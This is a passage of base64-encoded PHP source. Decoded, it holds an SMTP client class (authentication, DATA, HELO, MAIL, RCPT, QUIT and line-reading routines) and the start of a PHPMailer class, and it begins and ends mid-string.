ZGUoc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgICAgJHJlc3BvbnNlID0gJHVzZXJuYW1lIC4gJyAnIC4gJHRoaXMtPmhtYWMoJGNoYWxsZW5nZSwgJHBhc3N3b3JkKTsKICAgICAgICAkdGhpcy0+Y2xpZW50X3NlbmQoYmFzZTY0X2VuY29kZSgkcmVzcG9uc2UpIC4gJHRoaXMtPkNSTEYpOwogICAgICAgICRycGx5ID0gJHRoaXMtPmdldF9saW5lcygpOwogICAgICAgICRjb2RlID0gc3Vic3RyKCRycGx5LCAwLCAzKTsKCiAgICAgICAgaWYoJGNvZGUgIT0gMjM1KSB7CiAgICAgICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgICAgICBhcnJheSgnZXJyb3InID0+ICdDcmVkZW50aWFscyBub3QgYWNjZXB0ZWQgZnJvbSBzZXJ2ZXInLAogICAgICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAgICAgJ3NtdHBfbXNnJyA9PiBzdWJzdHIoJHJwbHksIDQpKTsKICAgICAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICAgICAgfQogICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBicmVhazsKICAgIH0KICAgIHJldHVybiB0cnVlOwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIGhtYWMoJGRhdGEsICRrZXkpIHsKICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnaGFzaF9obWFjJykpIHsKICAgICAgICAgIHJldHVybiBoYXNoX2htYWMoJ21kNScsICRkYXRhLCAka2V5KTsKICAgICAgfQogICAgICAkYiA9IDY0OyAvLyBieXRlIGxlbmd0aCBmb3IgbWQ1CiAgICAgIGlmIChzdHJsZW4oJGtleSkgPiAkYikgewogICAgICAgICAgJGtleSA9IHBhY2soJ0gqJywgbWQ1KCRrZXkpKTsKICAgICAgfQogICAgICAka2V5ICA9IHN0cl9wYWQoJGtleSwgJGIsIGNocigweDAwKSk7CiAgICAgICRpcGFkID0gc3RyX3BhZCgnJywgJGIsIGNocigweDM2KSk7CiAgICAgICRvcGFkID0gc3RyX3BhZCgnJywgJGIsIGNocigweDVjKSk7CiAgICAgICRrX2lwYWQgPSAka2V5IF4gJGlwYWQgOwogICAgICAka19vcGFkID0gJGtleSBeICRvcGFkOwoKICAgICAgcmV0dXJuIG1kNSgka19vcGFkICAuIHBhY2soJ0gqJywgbWQ1KCRrX2lwYWQgLiAkZGF0YSkpKTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBDb25uZWN0ZWQoKSB7CiAgICBpZighZW1wdHkoJHRoaXMtPnNtdHBfY29ubikpIHsKICAgICAgJHNvY2tfc3RhdHVzID0gc3RyZWFtX2dldF9tZXRhX2RhdGEoJHRoaXMtPnNtdHBfY29ubik7CiAgICAgIGlmKCRzb2NrX3N0YXR1c1snZW9mJ10pIHsKICAgICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IE5PVElDRTogRU9GIGNhdWdodCB3aGlsZSBjaGVja2luZyBpZiBjb25uZWN0ZWQnKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPkNsb3NlKCk7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICB9CiAgICAgIHJldHVybiB0cnVlOyAvLyBldmVyeXRoaW5nIGxvb2tzIGdvb2QKICAgIH0KICAgIHJldHVybiBmYWxzZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBDbG9zZSgpIHsKICAgICR0aGlzLT5lcnJvciA9IG51bGw7IC8vIHNvIHRoZXJlIGlzIG5vIGNvbmZ1c2lvbgogICAgJHRoaXMtPmhlbG9fcnBseSA9IG51bGw7CiAgICBpZighZW1wdHkoJHRoaXMtPnNtdHBfY29ubikpIHsKICAgICAgLy8gY2xvc2UgdGhlIGNvbm5lY3Rpb24gYW5kIGNsZWFudXAKICAgICAgZmNsb3NlKCR0aGlzLT5zbXRwX2Nvbm4pOwogICAgICAkdGhpcy0+c210cF9jb25uID0gMDsKICAgIH0KICB9CgogIHB1YmxpYyBmdW5jdGlvbiBEYXRhKCRtc2dfZGF0YSkgewogICAgJHRoaXMtPmVycm9yID0gbnVsbDsgLy8gc28gbm8gY29uZnVzaW9uIGlzIGNhdXNlZAoKICAgIGlmKCEkdGhpcy0+Y29ubmVjdGVkKCkpIHsKICAgICAgJHRoaXMtPmVycm9yID0gYXJyYXkoCiAgICAgICAgICAgICAgJ2Vycm9yJyA9PiAnQ2FsbGVkIERhdGEoKSB3aXRob3V0IGJlaW5nIGNvbm5lY3RlZCcpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAkdGhpcy0+Y2xpZW50X3NlbmQoJ0RBVEEnIC4gJHRoaXMtPkNSTEYpOwogICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAkY29kZSA9IHN1YnN0cigkcnBseSwgMCwgMyk7CgogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDIpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBGUk9NIFNFUlZFUjonIC4gJHJwbHkpOwogICAgfQoKICAgIGlmKCRjb2RlICE9IDM1NCkgewogICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgIGFycmF5KCdlcnJvcicgPT4gJ0RBVEEgY29tbWFuZCBub3QgYWNjZXB0ZWQgZnJvbSBzZXJ2ZXInLAogICAgICAgICAgICAgICdzbXRwX2NvZGUnID0+ICRjb2RlLAogICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBFUlJPUjogJyAuICR0aGlzLT5lcnJvclsnZXJyb3InXSAuICc6ICcgLiAkcnBseSk7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgICRtc2dfZGF0YSA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJG1zZ19kYXRhKTsKICAgICRtc2dfZGF0YSA9IHN0cl9yZXBsYWNlKCJcciIsICJcbiIsICRtc2dfZGF0YSk7CiAgICAkbGluZXMgPSBleHBsb2RlKCJcbiIsICRtc2dfZGF0YSk7CiAgICAkZmllbGQgPSBzdWJzdHIoJGxpbmVzWzBdLCAwLCBzdHJwb3MoJGxpbmVzWzBdLCAnOicpKTsKICAgICRpbl9oZWFkZXJzID0gZmFsc2U7CiAgICBpZighZW1wdHkoJGZpZWxkKSAmJiAhc3Ryc3RyKCRmaWVsZCwgJyAnKSkgewogICAgICAkaW5faGVhZGVycyA9IHRydWU7CiAgICB9CgogICAgJG1heF9saW5lX2xlbmd0aCA9IDk5ODsgLy8gdXNlZCBiZWxvdzsgc2V0IGhlcmUgZm9yIGVhc2UgaW4gY2hhbmdlCgogICAgd2hpbGUobGlzdCgsICRsaW5lKSA9IEBlYWNoKCRsaW5lcykpIHsKICAgICAgJGxpbmVzX291dCA9IG51bGw7CiAgICAgIGlmKCRsaW5lID09ICcnICYmICRpbl9oZWFkZXJzKSB7CiAgICAgICAgJGluX2hlYWRlcnMgPSBmYWxzZTsKICAgICAgfQogICAgICB3aGlsZShzdHJsZW4oJGxpbmUpID4gJG1heF9saW5lX2xlbmd0aCkgewogICAgICAgICRwb3MgPSBzdHJycG9zKHN1YnN0cigkbGluZSwgMCwgJG1heF9saW5lX2xlbmd0aCksICcgJyk7CgogICAgICAgIGlmKCEkcG9zKSB7CiAgICAgICAgICAkcG9zID0gJG1heF9saW5lX2xlbmd0aCAtIDE7CiAgICAgICAgICAkbGluZXNfb3V0W10gPSBzdWJzdHIoJGxpbmUsIDAsICRwb3MpOwogICAgICAgICAgJGxpbmUgPSBzdWJzdHIoJGxpbmUsICRwb3MpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAkbGluZXNfb3V0W10gPSBzdWJzdHIoJGxpbmUsIDAsICRwb3MpOwogICAgICAgICAgJGxpbmUgPSBzdWJzdHIoJGxpbmUsICRwb3MgKyAxKTsKICAgICAgICB9CgogICAgICAgIGlmKCRpbl9oZWFkZXJzKSB7CiAgICAgICAgICAkbGluZSA9ICJcdCIgLiAkbGluZTsKICAgICAgICB9CiAgICAgIH0KICAgICAgJGxpbmVzX291dFtdID0gJGxpbmU7CgogICAgICB3aGlsZShsaXN0KCwgJGxpbmVfb3V0KSA9IEBlYWNoKCRsaW5lc19vdXQpKSB7CiAgICAgICAgaWYoc3RybGVuKCRsaW5lX291dCkgPiAwKQogICAgICAgIHsKICAgICAgICAgIGlmKHN1YnN0cigkbGluZV9vdXQsIDAsIDEpID09ICcuJykgewogICAgICAgICAgICAkbGluZV9vdXQgPSAnLicgLiAkbGluZV9vdXQ7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5jbGllbnRfc2VuZCgkbGluZV9vdXQgLiAkdGhpcy0+Q1JMRik7CiAgICAgIH0KICAgIH0KCiAgICAkdGhpcy0+Y2xpZW50X3NlbmQoJHRoaXMtPkNSTEYgLiAnLicgLiAkdGhpcy0+Q1JMRik7CgogICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAkY29kZSA9IHN1YnN0cigkcnBseSwgMCwgMyk7CgogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDIpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBGUk9NIFNFUlZFUjonIC4gJHJwbHkpOwogICAgfQoKICAgIGlmKCRjb2RlICE9IDI1MCkgewogICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgIGFycmF5KCdlcnJvcicgPT4gJ0RBVEEgbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAnc210cF9tc2cnID0+IHN1YnN0cigkcnBseSwgNCkpOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICB9CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIHJldHVybiB0cnVlOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIEhlbGxvKCRob3N0ID0gJycpIHsKICAgICR0aGlzLT5lcnJvciA9IG51bGw7IC8vIHNvIG5vIGNvbmZ1c2lvbiBpcyBjYXVzZWQKCiAgICBpZighJHRoaXMtPmNvbm5lY3RlZCgpKSB7CiAgICAgICR0aGlzLT5lcnJvciA9IGFycmF5KAogICAgICAgICAgICAnZXJyb3InID0+ICdDYWxsZWQgSGVsbG8oKSB3aXRob3V0IGJlaW5nIGNvbm5lY3RlZCcpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICBpZihlbXB0eSgkaG9zdCkpIHsKICAgICAgJGhvc3QgPSAnbG9jYWxob3N0JzsKICAgIH0KICAgIGlmKCEkdGhpcy0+U2VuZEhlbGxvKCdFSExPJywgJGhvc3QpKSB7CiAgICAgIGlmKCEkdGhpcy0+U2VuZEhlbGxvKCdIRUxPJywgJGhvc3QpKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICB9CiAgICB9CgogICAgcmV0dXJuIHRydWU7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gU2VuZEhlbGxvKCRoZWxsbywgJGhvc3QpIHsKICAgICR0aGlzLT5jbGllbnRfc2VuZCgkaGVsbG8gLiAnICcgLiAkaG9zdCAuICR0aGlzLT5DUkxGKTsKCiAgICAkcnBseSA9ICR0aGlzLT5nZXRfbGluZXMoKTsKICAgICRjb2RlID0gc3Vic3RyKCRycGx5LCAwLCAzKTsKCiAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMikgewogICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEZST00gU0VSVkVSOiAnIC4gJHJwbHkpOwogICAgfQoKICAgIGlmKCRjb2RlICE9IDI1MCkgewogICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgIGFycmF5KCdlcnJvcicgPT4gJGhlbGxvIC4gJyBub3QgYWNjZXB0ZWQgZnJvbSBzZXJ2ZXInLAogICAgICAgICAgICAgICdzbXRwX2NvZGUnID0+ICRjb2RlLAogICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBFUlJPUjogJyAuICR0aGlzLT5lcnJvclsnZXJyb3InXSAuICc6ICcgLiAkcnBseSk7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgICR0aGlzLT5oZWxvX3JwbHkgPSAkcnBseTsKCiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBNYWlsKCRmcm9tKSB7CiAgICAkdGhpcy0+ZXJyb3IgPSBudWxsOyAvLyBzbyBubyBjb25mdXNpb24gaXMgY2F1c2VkCgogICAgaWYoISR0aGlzLT5jb25uZWN0ZWQoKSkgewogICAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgKICAgICAgICAgICAgICAnZXJyb3InID0+ICdDYWxsZWQgTWFpbCgpIHdpdGhvdXQgYmVpbmcgY29ubmVjdGVkJyk7CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAkdXNlVmVycCA9ICgkdGhpcy0+ZG9fdmVycCA/ICcgWFZFUlAnIDogJycpOwogICAgJHRoaXMtPmNsaWVudF9zZW5kKCdNQUlMIEZST006PCcgLiAkZnJvbSAuICc+JyAuICR1c2VWZXJwIC4gJHRoaXMtPkNSTEYpOwoKICAgICRycGx5ID0gJHRoaXMtPmdldF9saW5lcygpOwogICAgJGNvZGUgPSBzdWJzdHIoJHJwbHksIDAsIDMpOwoKICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAyKSB7CiAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRlJPTSBTRVJWRVI6JyAuICRycGx5KTsKICAgIH0KCiAgICBpZigkY29kZSAhPSAyNTApIHsKICAgICAgJHRoaXMtPmVycm9yID0KICAgICAgICBhcnJheSgnZXJyb3InID0+ICdNQUlMIG5vdCBhY2NlcHRlZCBmcm9tIHNlcnZlcicsCiAgICAgICAgICAgICAgJ3NtdHBfY29kZScgPT4gJGNvZGUsCiAgICAgICAgICAgICAgJ3NtdHBfbXNnJyA9PiBzdWJzdHIoJHJwbHksIDQpKTsKICAgICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDEpIHsKICAgICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEVSUk9SOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddIC4gJzogJyAuICRycGx5KTsKICAgICAgfQogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBRdWl0KCRjbG9zZV9vbl9lcnJvciA9IHRydWUpIHsKICAgICR0aGlzLT5lcnJvciA9IG51bGw7IC8vIHNvIHRoZXJlIGlzIG5vIGNvbmZ1c2lvbgoKICAgIGlmKCEkdGhpcy0+Y29ubmVjdGVkKCkpIHsKICAgICAgJHRoaXMtPmVycm9yID0gYXJyYXkoCiAgICAgICAgICAgICAgJ2Vycm9yJyA9PiAnQ2FsbGVkIFF1aXQoKSB3aXRob3V0IGJlaW5nIGNvbm5lY3RlZCcpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHRoaXMtPmNsaWVudF9zZW5kKCdxdWl0JyAuICR0aGlzLT5DUkxGKTsKICAgICRieWVtc2cgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CgogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDIpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBGUk9NIFNFUlZFUjonIC4gJGJ5ZW1zZyk7CiAgICB9CgogICAgJHJ2YWwgPSB0cnVlOwogICAgJGUgPSBudWxsOwoKICAgICRjb2RlID0gc3Vic3RyKCRieWVtc2csIDAsIDMpOwogICAgaWYoJGNvZGUgIT0gMjIxKSB7CiAgICAgICRlID0gYXJyYXkoJ2Vycm9yJyA9PiAnU01UUCBzZXJ2ZXIgcmVqZWN0ZWQgcXVpdCBjb21tYW5kJywKICAgICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAgICAnc210cF9ycGx5JyA9PiBzdWJzdHIoJGJ5ZW1zZywgNCkpOwogICAgICAkcnZhbCA9IGZhbHNlOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkZVsnZXJyb3InXSAuICc6ICcgLiAkYnllbXNnKTsKICAgICAgfQogICAgfQoKICAgIGlmKGVtcHR5KCRlKSB8fCAkY2xvc2Vfb25fZXJyb3IpIHsKICAgICAgJHRoaXMtPkNsb3NlKCk7CiAgICB9CgogICAgcmV0dXJuICRydmFsOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFJlY2lwaWVudCgkdG8pIHsKICAgICR0aGlzLT5lcnJvciA9IG51bGw7IC8vIHNvIG5vIGNvbmZ1c2lvbiBpcyBjYXVzZWQKCiAgICBpZighJHRoaXMtPmNvbm5lY3RlZCgpKSB7CiAgICAgICR0aGlzLT5lcnJvciA9IGFycmF5KAogICAgICAgICAgICAgICdlcnJvcicgPT4gJ0NhbGxlZCBSZWNpcGllbnQoKSB3aXRob3V0IGJlaW5nIGNvbm5lY3RlZCcpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHRoaXMtPmNsaWVudF9zZW5kKCdSQ1BUIFRPOjwnIC4gJHRvIC4gJz4nIC4gJHRoaXMtPkNSTEYpOwoKICAgICRycGx5ID0gJHRoaXMtPmdldF9saW5lcygpOwogICAgJGNvZGUgPSBzdWJzdHIoJHJwbHksIDAsIDMpOwoKICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAyKSB7CiAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRlJPTSBTRVJWRVI6JyAuICRycGx5KTsKICAgIH0KCiAgICBpZigkY29kZSAhPSAyNTAgJiYgJGNvZGUgIT0gMjUxKSB7CiAgICAgICR0aGlzLT5lcnJvciA9CiAgICAgICAgYXJyYXkoJ2Vycm9yJyA9PiAnUkNQVCBub3QgYWNjZXB0ZWQgZnJvbSBzZXJ2ZXInLAogICAgICAgICAgICAgICdzbXRwX2NvZGUnID0+ICRjb2RlLAogICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBFUlJPUjogJyAuICR0aGlzLT5lcnJvclsnZXJyb3InXSAuICc6ICcgLiAkcnBseSk7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgcmV0dXJuIHRydWU7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gUmVzZXQoKSB7CiAgICAkdGhpcy0+ZXJyb3IgPSBudWxsOyAvLyBzbyBubyBjb25mdXNpb24gaXMgY2F1c2VkCgogICAgaWYoISR0aGlzLT5jb25uZWN0ZWQoKSkgewogICAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgnZXJyb3InID0+ICdDYWxsZWQgUmVzZXQoKSB3aXRob3V0IGJlaW5nIGNvbm5lY3RlZCcpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHRoaXMtPmNsaWVudF9zZW5kKCdSU0VUJyAuICR0aGlzLT5DUkxGKTsKCiAgICAkcnBseSA9ICR0aGlzLT5nZXRfbGluZXMoKTsKICAgICRjb2RlID0gc3Vic3RyKCRycGx5LCAwLCAzKTsKCiAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMikgewogICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEZST00gU0VSVkVSOicgLiAkcnBseSk7CiAgICB9CgogICAgaWYoJGNvZGUgIT0gMjUwKSB7CiAgICAgICR0aGlzLT5lcnJvciA9CiAgICAgICAgYXJyYXkoJ2Vycm9yJyA9PiAnUlNFVCBmYWlsZWQnLAogICAgICAgICAgICAgICdzbXRwX2NvZGUnID0+ICRjb2RlLAogICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBFUlJPUjogJyAuICR0aGlzLT5lcnJvclsnZXJyb3InXSAuICc6ICcgLiAkcnBseSk7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIHJldHVybiB0cnVlOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFNlbmRBbmRNYWlsKCRmcm9tKSB7CiAgICAkdGhpcy0+ZXJyb3IgPSBudWxsOyAvLyBzbyBubyBjb25mdXNpb24gaXMgY2F1c2VkCgogICAgaWYoISR0aGlzLT5jb25uZWN0ZWQoKSkgewogICAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgKICAgICAgICAgICdlcnJvcicgPT4gJ0NhbGxlZCBTZW5kQW5kTWFpbCgpIHdpdGhvdXQgYmVpbmcgY29ubmVjdGVkJyk7CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAkdGhpcy0+Y2xpZW50X3NlbmQoJ1NBTUwgRlJPTTonIC4gJGZyb20gLiAkdGhpcy0+Q1JMRik7CgogICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAkY29kZSA9IHN1YnN0cigkcnBseSwgMCwgMyk7CgogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDIpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBGUk9NIFNFUlZFUjonIC4gJHJwbHkpOwogICAgfQoKICAgIGlmKCRjb2RlICE9IDI1MCkgewogICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgIGFycmF5KCdlcnJvcicgPT4gJ1NBTUwgbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAnc210cF9tc2cnID0+IHN1YnN0cigkcnBseSwgNCkpOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICB9CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIHJldHVybiB0cnVlOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFR1cm4oKSB7CiAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgnZXJyb3InID0+ICdUaGlzIG1ldGhvZCwgVFVSTiwgb2YgdGhlIFNNVFAgJy4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2lzIG5vdCBpbXBsZW1lbnRlZCcpOwogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDEpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBOT1RJQ0U6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10pOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIGNsaWVudF9zZW5kKCRkYXRhKSB7CiAgICAgIGlmICgkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICAgJHRoaXMtPmVkZWJ1ZygiQ0xJRU5UIC0+IFNNVFA6ICRkYXRhIik7CiAgICAgIH0KICAgICAgcmV0dXJuIGZ3cml0ZSgkdGhpcy0+c210cF9jb25uLCAkZGF0YSk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gZ2V0RXJyb3IoKSB7CiAgICByZXR1cm4gJHRoaXMtPmVycm9yOwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIGdldF9saW5lcygpIHsKICAgICRkYXRhID0gJyc7CiAgICAkZW5kdGltZSA9IDA7CiAgICBpZiAoIWlzX3Jlc291cmNlKCR0aGlzLT5zbXRwX2Nvbm4pKSB7CiAgICAgIHJldHVybiAkZGF0YTsKICAgIH0KICAgIHN0cmVhbV9zZXRfdGltZW91dCgkdGhpcy0+c210cF9jb25uLCAkdGhpcy0+VGltZW91dCk7CiAgICBpZiAoJHRoaXMtPlRpbWVsaW1pdCA+IDApIHsKICAgICAgJGVuZHRpbWUgPSB0aW1lKCkgKyAkdGhpcy0+VGltZWxpbWl0OwogICAgfQogICAgd2hpbGUoaXNfcmVzb3VyY2UoJHRoaXMtPnNtdHBfY29ubikgJiYgIWZlb2YoJHRoaXMtPnNtdHBfY29ubikpIHsKICAgICAgJHN0ciA9IEBmZ2V0cygkdGhpcy0+c210cF9jb25uLCA1MTUpOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gNCkgewogICAgICAgICR0aGlzLT5lZGVidWcoIlNNVFAgLT4gZ2V0X2xpbmVzKCk6IFwkZGF0YSB3YXMgXCIkZGF0YVwiIik7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygiU01UUCAtPiBnZXRfbGluZXMoKTogXCRzdHIgaXMgXCIkc3RyXCIiKTsKICAgICAgfQogICAgICAkZGF0YSAuPSAkc3RyOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gNCkgewogICAgICAgICR0aGlzLT5lZGVidWcoIlNNVFAgLT4gZ2V0X2xpbmVzKCk6IFwkZGF0YSBpcyBcIiRkYXRhXCIiKTsKICAgICAgfQogICAgICBpZihzdWJzdHIoJHN0ciwgMywgMSkgPT0gJyAnKSB7IGJyZWFrOyB9CiAgICAgICRpbmZvID0gc3RyZWFtX2dldF9tZXRhX2RhdGEoJHRoaXMtPnNtdHBfY29ubik7CiAgICAgIGlmICgkaW5mb1sndGltZWRfb3V0J10pIHsKICAgICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gNCkgewogICAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBnZXRfbGluZXMoKTogdGltZWQtb3V0ICgnIC4gJHRoaXMtPlRpbWVvdXQgLiAnIHNlY29uZHMpJyk7CiAgICAgICAgfQogICAgICAgIGJyZWFrOwogICAgICB9CiAgICAgIC8vIE5vdyBjaGVjayBpZiByZWFkcyB0b29rIHRvbyBsb25nCiAgICAgIGlmICgkZW5kdGltZSkgewogICAgICAgIGlmICh0aW1lKCkgPiAkZW5kdGltZSkgewogICAgICAgICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDQpIHsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBnZXRfbGluZXMoKTogdGltZWxpbWl0IHJlYWNoZWQgKCcgLiAkdGhpcy0+VGltZWxpbWl0IC4gJyBzZWNvbmRzKScpOwogICAgICAgICAgfQogICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICB9CiAgICB9CiAgICByZXR1cm4gJGRhdGE7CiAgfQoKfQoKCmNsYXNzIFBIUE1haWxlciB7CiAgcHVibGljICRQcmlvcml0eSAgICAgICAgICA9IDM7CiAgcHVibGljICRDaGFyU2V0ICAgICAgICAgICA9ICdpc28tODg1OS0xJzsKICBwdWJsaWMgJENvbnRlbnRUeXBlICAgICAgID0gJ3RleHQvcGxhaW4nOwogIHB1YmxpYyAkRW5jb2RpbmcgICAgICAgICAgPSAnOGJpdCc7CiAgcHVibGljICRFcnJvckluZm8gICAgICAgICA9ICcnOwogIHB1YmxpYyAkRnJvbSAgICAgICAgICAgICAgPSAncm9vdEBsb2NhbGhvc3QnOwogIHB1YmxpYyAkRnJvbU5hbWUgICAgICAgICAgPSAnUm9vdCBVc2VyJzsKICBwdWJsaWMgJFNlbmRlciAgICAgICAgICAgID0gJyc7CiAgcHVibGljICRSZXR1cm5QYXRoICAgICAgICA9ICcnOwogIHB1YmxpYyAkU3ViamVjdCAgICAgICAgICAgPSAnJzsKICBwdWJsaWMgJEJvZHkgICAgICAgICAgICAgID0gJyc7CiAgcHVibGljICRBbHRCb2R5ICAgICAgICAgICA9ICcnOwogIHB1YmxpYyAkSWNhbCAgICAgICAgICAgICAgPSAnJzsKICBwcm90ZWN0ZWQgJE1JTUVCb2R5ICAgICAgID0gJyc7CiAgcHJvdGVjdGVkICRNSU1FSGVhZGVyICAgICA9ICcnOwogIHByb3RlY3RlZCAkbWFpbEhlYWRlciAgICAgPSAnJzsKICBwdWJsaW